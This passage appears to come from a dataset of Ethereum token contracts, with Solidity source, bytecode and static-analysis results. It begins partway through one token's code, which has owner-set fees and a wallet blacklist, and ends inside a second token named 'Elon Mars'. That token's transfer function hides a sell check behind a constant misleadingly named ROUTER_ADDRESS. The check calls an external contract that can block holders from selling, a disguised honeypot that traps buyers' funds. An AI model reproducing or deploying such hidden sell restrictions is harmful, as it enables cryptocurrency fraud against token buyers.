IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 30000000000 * 10**9; // 3%
_maxHeldTokens = 30000000000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function setBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106102085760003560e01c806349bd5a5e11610118578063a9059cbb116100a0578063c9567bf91161006f578063c9567bf9146105f8578063db92dbb61461060d578063dcb0e0ad14610622578063dd62ed3e14610642578063e8078d941461068857600080fd5b8063a9059cbb1461058d578063b2131f7d146105ad578063b515566a146105c3578063c3c8cd80146105e357600080fd5b806370a08231116100e757806370a08231146104eb578063715018a61461050b5780638da5cb5b1461052057806394b8d8f21461053e57806395d89b411461055e57600080fd5b806349bd5a5e1461048057806350901617146104a0578063590f897e146104c05780636fc3eaec146104d657600080fd5b806327f3a72a1161019b578063367c55441161016a578063367c5544146103b95780633bbac579146103f15780633bed43551461042a57806340b9a54b1461044a57806345596e2e1461046057600080fd5b806327f3a72a14610347578063313ce5671461035c57806331c2d8471461038357806332d873d8146103a357600080fd5b80630b78f9c0116101d75780630b78f9c0146102d557806318160ddd146102f55780631940d0201461031157806323b872dd1461032757600080fd5b80630492f0551461021457806306fdde031461023d5780630802d2f614610283578063095ea7b3146102a557600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a600e5481565b6040519081526020015b60405180910390f35b34801561024957600080fd5b506102766040518060400160405280600d81526020016c21bab63a2cb0b1b43a21b63ab160991b81525081565b6040516102349190611c1a565b34801561028f57600080fd5b506102a361029e366004611c94565b61069d565b005b3480156102b157600080fd5b506102c56102c0366004611cb1565b610712565b6040519015158152602001610234565b3480156102e157600080fd5b506102a36102f0366004611cdd565b610728565b34801561030157600080fd5b50683635c9adc5dea0000061022a565b34801561031d57600080fd5b5061022a600f5481565b34801561033357600080fd5b506102c5610342366004611cff565b6107ab565b34801561035357600080fd5b5061022a610893565b34801561036857600080fd5b50610371600981565b60405160ff9091168152602001610234565b34801561038f57600080fd5b506102a361039e366004611d56565b6108a3565b3480156103af57600080fd5b5061022a60105481565b3480156103c557600080fd5b506009546103d9906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156103fd57600080fd5b506102c561040c366004611c94565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561043657600080fd5b506008546103d9906001600160a01b031681565b34801561045657600080fd5b5061022a600b5481565b34801561046c57600080fd5b506102a361047b366004611e1b565b61092f565b34801561048c57600080fd5b50600a546103d9906001600160a01b031681565b3480156104ac57600080fd5b506102a36104bb366004611c94565b6109f3565b3480156104cc57600080fd5b5061022a600c5481565b3480156104e257600080fd5b506102a3610a61565b3480156104f757600080fd5b5061022a610506366004611c94565b610a8e565b34801561051757600080fd5b506102a3610aa9565b34801561052c57600080fd5b506000546001600160a01b03166103d9565b34801561054a57600080fd5b506011546102c59062010000900460ff1681565b34801561056a57600080fd5b506102766040518060400160405280600381526020016243594360e81b81525081565b34801561059957600080fd5b506102c56105a8366004611cb1565b610b1d565b3480156105b957600080fd5b5061022a600d5481565b3480156105cf57600080fd5b506102a36105de366004611d56565b610b2a565b3480156105ef57600080fd5b506102a3610c39565b34801561060457600080fd5b506102a3610c6f565b34801561061957600080fd5b5061022a610d0b565b34801561062e57600080fd5b506102a361063d366004611e42565b610d23565b34801561064e57600080fd5b5061022a61065d366004611e5f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561069457600080fd5b506102a3610da0565b6008546001600160a01b0316336001600160a01b0316146106bd57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b600061071f3384846110e7565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461074857600080fd5b600a82111561075657600080fd5b600a81111561076457600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff1680156107d957506001600160a01b03831660009081526004602052604090205460ff16155b80156107f25750600a546001600160a01b038581169116145b15610841576001600160a01b03831632146108415760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b61084c84848461120b565b6001600160a01b038416600090815260036020908152604080832033845290915281205461087b908490611eae565b90506108888533836110e7565b506001949350505050565b600061089e30610a8e565b905090565b6008546001600160a01b0316336001600160a01b0316146108c357600080fd5b60005b815181101561092b576000600660008484815181106108e7576108e7611ec5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092381611edb565b9150506108c6565b5050565b6000546001600160a01b031633146109595760405162461bcd60e51b815260040161083890611ef4565b6008546001600160a01b0316336001600160a01b03161461097957600080fd5b600081116109be5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b6044820152606401610838565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610707565b6009546001600160a01b0316336001600160a01b031614610a1357600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610707565b6008546001600160a01b0316336001600160a01b031614610a8157600080fd5b47610a8b81611879565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610ad35760405162461bcd60e51b815260040161083890611ef4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061071f33848461120b565b6008546001600160a01b0316336001600160a01b031614610b4a57600080fd5b60005b815181101561092b57600a5482516001600160a01b0390911690839083908110610b7957610b79611ec5565b60200260200101516001600160a01b031614158015610bca575060075482516001600160a01b0390911690839083908110610bb657610bb6611ec5565b60200260200101516001600160a01b031614155b15610c2757600160066000848481518110610be757610be7611ec5565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c3181611edb565b915050610b4d565b6008546001600160a01b0316336001600160a01b031614610c5957600080fd5b6000610c6430610a8e565b9050610a8b816118fe565b6000546001600160a01b03163314610c995760405162461bcd60e51b815260040161083890611ef4565b60115460ff1615610ce65760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610838565b6011805460ff19166001179055426010556801a055690d9db80000600e819055600f55565b600a5460009061089e906001600160a01b0316610a8e565b6000546001600160a01b03163314610d4d5760405162461bcd60e51b815260040161083890611ef4565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610707565b6000546001600160a01b03163314610dca5760405162461bcd60e51b815260040161083890611ef4565b60115460ff1615610e175760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610838565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e543082683635c9adc5dea000006110e7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb69190611f29565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f279190611f29565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f989190611f29565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610fc881610a8e565b600080610fdd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015611045573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061106a9190611f46565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156110c3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092b9190611f74565b6001600160a01b0383166111495760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610838565b6001600160a01b0382166111aa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610838565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661126f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610838565b6001600160a01b0382166112d15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610838565b600081116113335760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610838565b6001600160a01b03831660009081526006602052604090205460ff16156113a85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b6064820152608401610838565b600080546001600160a01b038581169116148015906113d557506000546001600160a01b03848116911614155b1561181a57600a546001600160a01b03858116911614801561140557506007546001600160a01b03848116911614155b801561142a57506001600160a01b03831660009081526004602052604090205460ff16155b156116b65760115460ff166114815760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610838565b60105442036114c05760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b6044820152606401610838565b42601054610e106114d19190611f91565b111561154b57600f546114e384610a8e565b6114ed9084611f91565b111561154b5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610838565b6001600160a01b03831660009081526005602052604090206001015460ff166115b3576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115c39190611f91565b111561169757600e5482111561161b5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610838565b61162642600f611f91565b6001600160a01b038416600090815260056020526040902054106116975760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610838565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff161580156116d0575060115460ff165b80156116ea5750600a546001600160a01b03858116911614155b1561181a576116fa42600f611f91565b6001600160a01b0385166000908152600560205260409020541061176c5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610838565b600061177730610a8e565b905080156118035760115462010000900460ff16156117fa57600d54600a54606491906117ac906001600160a01b0316610a8e565b6117b69190611fa9565b6117c09190611fc8565b8111156117fa57600d54600a54606491906117e3906001600160a01b0316610a8e565b6117ed9190611fa9565b6117f79190611fc8565b90505b611803816118fe565b4780156118135761181347611879565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061185c57506001600160a01b03841660009081526004602052604090205460ff165b15611865575060005b6118728585858486611a72565b5050505050565b6008546001600160a01b03166108fc611893600284611fc8565b6040518115909202916000818181858888f193505050501580156118bb573d6000803e3d6000fd5b506009546001600160a01b03166108fc6118d6600284611fc8565b6040518115909202916000818181858888f1935050505015801561092b573d6000803e3d6000fd5b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061194257611942611ec5565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561199b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119bf9190611f29565b816001815181106119d2576119d2611ec5565b6001600160a01b0392831660209182029290920101526007546119f891309116846110e7565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a31908590600090869030904290600401611fea565b600060405180830381600087803b158015611a4b57600080fd5b505af1158015611a5f573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a7e8383611a94565b9050611a8c86868684611adb565b505050505050565b6000808315611ad4578215611aac5750600b54611ad4565b50600c54601054611abf90610384611f91565b421015611ad457611ad1600582611f91565b90505b9392505050565b600080611ae88484611bb8565b6001600160a01b0388166000908152600260205260409020549193509150611b11908590611eae565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611b41908390611f91565b6001600160a01b038616600090815260026020526040902055611b6381611bec565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ba891815260200190565b60405180910390a3505050505050565b600080806064611bc88587611fa9565b611bd29190611fc8565b90506000611be08287611eae565b96919550909350505050565b30600090815260026020526040902054611c07908290611f91565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c4757858101830151858201604001528201611c2b565b81811115611c59576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a8b57600080fd5b8035611c8f81611c6f565b919050565b600060208284031215611ca657600080fd5b8135611ad481611c6f565b60008060408385031215611cc457600080fd5b8235611ccf81611c6f565b946020939093013593505050565b60008060408385031215611cf057600080fd5b50508035926020909101359150565b600080600060608486031215611d1457600080fd5b8335611d1f81611c6f565b92506020840135611d2f81611c6f565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d6957600080fd5b823567ffffffffffffffff80821115611d8157600080fd5b818501915085601f830112611d9557600080fd5b813581811115611da757611da7611d40565b8060051b604051601f19603f83011681018181108582111715611dcc57611dcc611d40565b604052918252848201925083810185019188831115611dea57600080fd5b938501935b82851015611e0f57611e0085611c84565b84529385019392850192611def565b98975050505050505050565b600060208284031215611e2d57600080fd5b5035919050565b8015158114610a8b57600080fd5b600060208284031215611e5457600080fd5b8135611ad481611e34565b60008060408385031215611e7257600080fd5b8235611e7d81611c6f565b91506020830135611e8d81611c6f565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611ec057611ec0611e98565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611eed57611eed611e98565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f3b57600080fd5b8151611ad481611c6f565b600080600060608486031215611f5b57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f8657600080fd5b8151611ad481611e34565b60008219821115611fa457611fa4611e98565b500190565b6000816000190483118215151615611fc357611fc3611e98565b500290565b600082611fe557634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561203a5784516001600160a01b031683529383019391830191600101612015565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212203b06ce43ad0afdddcdd7cc46b9e8cc31912a73a480c4fa7f55e2c31dd30bbb1264736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,144 |
0xc07a33399be419f66b29354ddcd8010f73ebb6e8 | //SPDX-License-Identifier: None
// Telegram: t.me/ElonMarsToken
pragma solidity ^0.8.9;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet
uint256 constant TOTAL_SUPPLY=100000000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="Elon Mars";
string constant TOKEN_SYMBOL="ElonMars";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonMars is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610267578063c9567bf914610287578063dd62ed3e1461029c578063f4293890146102e257600080fd5b8063715018a6146101f95780638da5cb5b1461020e57806395d89b411461023657600080fd5b806323b872dd116100bb57806323b872dd14610186578063313ce567146101a657806351bc3c85146101c257806370a08231146101d957600080fd5b806306fdde03146100ed578063095ea7b31461013157806318160ddd1461016157600080fd5b366100e857005b600080fd5b3480156100f957600080fd5b50604080518082019091526009815268456c6f6e204d61727360b81b60208201525b60405161012891906112d4565b60405180910390f35b34801561013d57600080fd5b5061015161014c36600461133e565b6102f7565b6040519015158152602001610128565b34801561016d57600080fd5b50678ac7230489e800005b604051908152602001610128565b34801561019257600080fd5b506101516101a136600461136a565b61030e565b3480156101b257600080fd5b5060405160088152602001610128565b3480156101ce57600080fd5b506101d7610377565b005b3480156101e557600080fd5b506101786101f43660046113ab565b6103b0565b34801561020557600080fd5b506101d76103d2565b34801561021a57600080fd5b506000546040516001600160a01b039091168152602001610128565b34801561024257600080fd5b50604080518082019091526008815267456c6f6e4d61727360c01b602082015261011b565b34801561027357600080fd5b5061015161028236600461133e565b61047b565b34801561029357600080fd5b506101d7610488565b3480156102a857600080fd5b506101786102b73660046113c8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156102ee57600080fd5b506101d7610825565b600061030433848461084f565b5060015b92915050565b600061031b848484610973565b61036d843361036885604051806060016040528060288152602001611595602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610bff565b61084f565b5060019392505050565b6009546001600160a01b0316336001600160a01b03161461039757600080fd5b60006103a2306103b0565b90506103ad81610c39565b50565b6001600160a01b03811660009081526002602052604081205461030890610db3565b6000546001600160a01b031633146104315760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610304338484610973565b6000546001600160a01b031633146104e25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610428565b600b54600160a01b900460ff161561053c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610428565b600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105783082678ac7230489e8000061084f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190611401565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186